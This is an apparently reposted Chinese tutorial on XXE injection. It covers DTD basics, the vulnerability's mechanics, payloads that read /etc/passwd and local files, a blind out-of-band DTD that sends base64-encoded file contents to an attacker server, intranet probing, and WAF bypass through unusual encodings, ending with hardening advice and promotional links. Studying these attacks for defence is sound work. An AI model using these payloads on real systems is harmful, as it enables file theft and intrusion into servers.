WEB常见漏洞之XXE(基础原理篇)
2023-2-7 20:4:20 Author: 渗透安全团队(查看原文) 阅读量:20 收藏

免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 XML基础知识

一个XML文档实例:

```<?xml version="1.0" encoding="ISO-8859-1"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>```

第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。接下来加上DTD进行声明 内部的 DOCTYPE 声明

<?xml version="1.0"?><!DOCTYPE note [          //定义此文档是 note 类型的文档。  <!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"  <!ELEMENT to      (#PCDATA)>  //定义 to 元素为 "#PCDATA" 类型  <!ELEMENT from    (#PCDATA)>   //定义 from 元素为 "#PCDATA" 类型  <!ELEMENT heading (#PCDATA)>  // heading 元素为 "#PCDATA" 类型  <!ELEMENT body    (#PCDATA)>  //定义 body 元素为 "#PCDATA" 类型]><note>  <to>George</to>  <from>John</from>  <heading>Reminder</heading>  <body>Don't forget the meeting!</body></note>

DTD元素 在一个 DTD 中,元素通过元素声明来进行声明。声明一个元素 在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:只有 PCDATA 的元素 只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:<!ELEMENT 元素名称 (#PCDATA)> 例子:

``<!ELEMENT from (#PCDATA)>``

带有任何内容的元素 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:<!ELEMENT 元素名称 ANY> 例子:

``<!ELEMENT note ANY>``

带有子元素(序列)的元素 带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:<!ELEMENT 元素名称 (子元素名称 1)> 或者 <!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)> 例子:``<!ELEMENT note (to,from,heading,body)>`` 声明只出现一次的元素 <!ELEMENT 元素名称 (子元素名称)> 例子:

``<!ELEMENT note (message)>``

上面的例子声明了:message子元素必须出现一次,并且必须只在 "note"元素中出现一次。

**外部文档声明**<!DOCTYPE 根元素 SYSTEM "文件名"><?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>```

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD 这是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>

DTD实体声明

重点介绍实体声明

**内部实体声明**``<!ENTITY 实体名称 "实体的值">``DTD 例子:<!ENTITY writer "Bill Gates">将writer 声明为”Bill Gates”,copyright 声明为 “Copyright W3School.com.cn”XML 例子:``<author>&writer;&copyright;</author>``注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。<!DOCTYPE foo [    <!ENTITY xxe  "sec test" >]><root>    <name>&xxe;</name></root>
**外部实体声明**外部实体引用支持通过协议,来动态的获取值``<!ENTITY 实体名称 SYSTEM "URI/URL">``例子:DTD 例子:```<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">```XML 例子:``<author>&writer;&copyright;</author>``可以通过``file://``协议来读取文件内容```<!DOCTYPE foo [    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>    <name>&xxe;</name></root>```

不同语言支持的协议不同

参数实体
<!ENTITY % 实体名称 "实体的值">or<!ENTITY % 实体名称 SYSTEM "URI">
参数实体只能在DTD中申明,DTD中引用,它们使用百分号(%)而不是与字符(&),可以是命名实体或外部实体。,能够解析实体或者uri,进行xml解析,进而获得其中的变量
注:一般用于Bline XXE
```<!ENTITY % style "2333"><!ENTITY % test "%style">```**公共实体声明**<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

0x02 漏洞原理

XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时,通过恶意构造,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明,也可以外部引用;libxml2.9.1及以后,默认不再解析外部实体。

内部声明 DTD             <!DOCTYPE 根元素 [元素声明]>引用外部 DTD                 <!DOCTYPE 根元素 PBULIC "public_ID" "文件名">/或者<!DOCTYPE 根元素 SYSTEM "文件名">

在解析 XML 时,实体将会被替换成相应的引用内容,xml文档如下所示:

(1) 包含内部实体的 XML 文档

<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE c [       <!ENTITY copyright "Copyright xx.xx.xx">   ]>   <c>&copyright;</c

1. 包含外部实体的 XML 文档

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE c [   <!ENTITY copyright SYSTEM "Copyright xx.xx.xx"> ]> <c>&copyright;</c>

0x03 漏洞利用

1.XML 解析器解析外部实体时支持多种协议

libxml2:file、http、ftpPHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、pharJava:file、http、ftp、https、jar、netdoc、mailto、gopher.NET:file、http、ftp、https

2.不同解析器可能默认对于外部实体会有不同的处理规则,有些可能不会对外部实体进行解析:

PHP:DOM、SimpleXML;.NET:System.Xml.XmlDocument、System.Xml.XmlReader。

对于XXE通常有两种利用方式:

1.有回显XXE

有回显的情况可以直接在页面中看到Payload的执行结果或现象。

带内XML外部实体(XXE),即攻击者可以发送带有XXE有效负载的请求,并从包含某些数据的Web应用程序获取响应。

攻击者通过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件:

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE c [      <!ENTITY file SYSTEM "file:///etc/passwd">  ]>

2.BlindXXE

服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀; 内部定义实体:在一个实体中定义的一个实体,即嵌套定义:

 <?xml version="1.0" encoding="utf-8"?>     <!DOCTYPE c [        <!ENTITY  % a "<!ENTITY b 'http://www.xxx.com'>"        %a;     ]> <c>&b;</c>

Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器);DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用; 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中。

存在xxe的情况下:
玩法-读文件
<?xml version = "1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///d://test.txt"> ]><x>&xxe; &xxe;</x>//xxe为变量,读取test.txt//打印出来

用file协议读指定路径的文件

显示结果

玩法-内网探针或攻击内网应用(触发漏洞地址)内网探针

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY rabbit SYSTEM "http://192.168.33.130:80/cookie.txt" >]><x>&rabbit;</x>

引入外部实体dtd,dtd就是xml的后缀,识别为xml格式

如果设置了禁止外部实体引用,将会失效

<?xml version="1.0" ?><!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;]><x>&send;</x>

可以在远程服务器evil2.dtd写上:

<!ENTITY send SYSTEM "file:///d:/test.txt">

无回显-读取文件

<?xml version="1.0"?><!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"><!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">%dtd;%send;]>

Base64加密是反正传输中乱码,传输失败。

本地192.168.xxx.xxx上构造:

test.dtd:

<!ENTITY % payload"<!ENTITY % send SYSTEM 'http://192.168.xxx.xxx:8081/?data=%file;'>">%payload;

开启日志,看日志就可以看到test.txt数据了。

协议-读文件(绕过)

<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]><x>&f;</x>

如何检测:

    数据格式类型:如果发现有<user>test</user><pass>Mikasa</pass>  类型抓包发现  content-type中是  text/xml  或者 application/xml盲猜:更改content-type值application/xml看返回

burp上抓包 右键

do an active scan:扫描漏洞

Send to spider:爬行

利用爬行,找到有xml,把xml代码拷贝到post上既可以利用

0x04 绕过姿势

这里的文本$attack;指的是前面注册的实体的链接。链接中指定的文件内容将其替换为文档正文中的内容。上述文档分为三个重要部分:

1.可选标头,<?xml?>用于定义基本文档特征,例如版本和编码。2.XML文档模式的可选声明——<!DOCTYPE>。此声明可用于设置外部链接。3.文档正文。它有一个层次结构,其根部是指定的标签<! DOCTYPE>

正确配置的XML解释器要么不接受包含XML链接的文档进行处理,要么将验证链接及其来源,如果缺少验证,则可以通过链接加载任意文件并将其集成到文档体中,如上面的示例所示。

我们将根据WAF处理XML验证的方式来研究两种类型的WAF:

成熟的waf——使用自己的解析器预处理XML文档的WAFs。基于正则表达式。仅搜索数据中的特定子字符串或正则表达式的WAFS。

这两种类型的WAF都可以绕过。

下面我们展示了攻击者可以用来骗过WAF并获得XXE的几种方法。

由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?><!DOCTYPE>中插入额外的空格,从而绕过此类WAF。

为了绕过WAF,攻击者可能会发送特殊格式的XML文档,以便WAF认为它们无效。

链接到未知实体

比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的,否则,WAF本身也可能成为攻击的目标。问题是,外部资源的链接不仅可以存在于文档的第三部分(正文),还可以存在于声明<! DOCTYPE>中 。
这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。

幸运的是,防止这样的绕过非常简单——命令WAF中的XML解析器在遇到未知实体后不要关闭。

除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如<?xml?>)——文档的第一个字节带有可选的BOM(字节顺序标记)。
更多信息:
https://www.w3.org/TR/xml/#sec-guessing
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

在上一节中,我们演示了文档的编码通常由其第一个字节指定。但是当包含编码属性的<?xml?>标记引用文档开头的不同字符集时会发生什么?在这种情况下,一些解析器更改编码,使文件的开头有一组字符,其余的是另一组编码。。也就是说,不同的解析器可能在不同的时间转换编码。Java解析器(javax.xml.parsers)在<?xml?>结束后严格地更改字符集,而libxml2解析器可以在执行“编码”属性的值之后或在处理<?xml?>之前或之后切换编码。
只有在根本不处理这些文件时,比较成熟的WAF才能可靠地防止这些文件中的攻击。我们还必须记住,有许多同义词编码,例如UTF-32BE和UCS-4BE。此外,有些编码可能不同,但从编码文档初始部分 
<?xml?>的角度来看,它们是兼容的。例如,看似UTF-8的文档可能包含字符串<?xml version=”1.0” encoding=”windows-1251”?>
这里有一些例子。为了简明扼要,我们不把XXE放在文档里。
libxml2解析器将文档视为有效,但是,javax.xml.parsers set中的Java引擎认为它无效:

反之亦然,文档对于javax.xml.parser是有效的,但对于libxml2解析器是无效的:

libxml2的文档,在标记中间将编码从utf-16le更改为utf-16be:

libxml2的文档,编码从utf-8改为ebcdic-us:

正如你所看到的,有许多绕过方法。防止XXE的最好方法是配置应用程序本身,以安全的方式初始化XML解析器。为此,应该禁用两个选项:

外部实体外部DTD架构

0x05 知识星球


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247497489&idx=2&sn=48d97d52d5c3b80dfca0ce58489bf165&chksm=c1760abef60183a8b790937b9812e52ea77eabbc6b78c4a03b08674259e4df702af81e383bfe#rd
如有侵权请联系:admin#unsafe.sh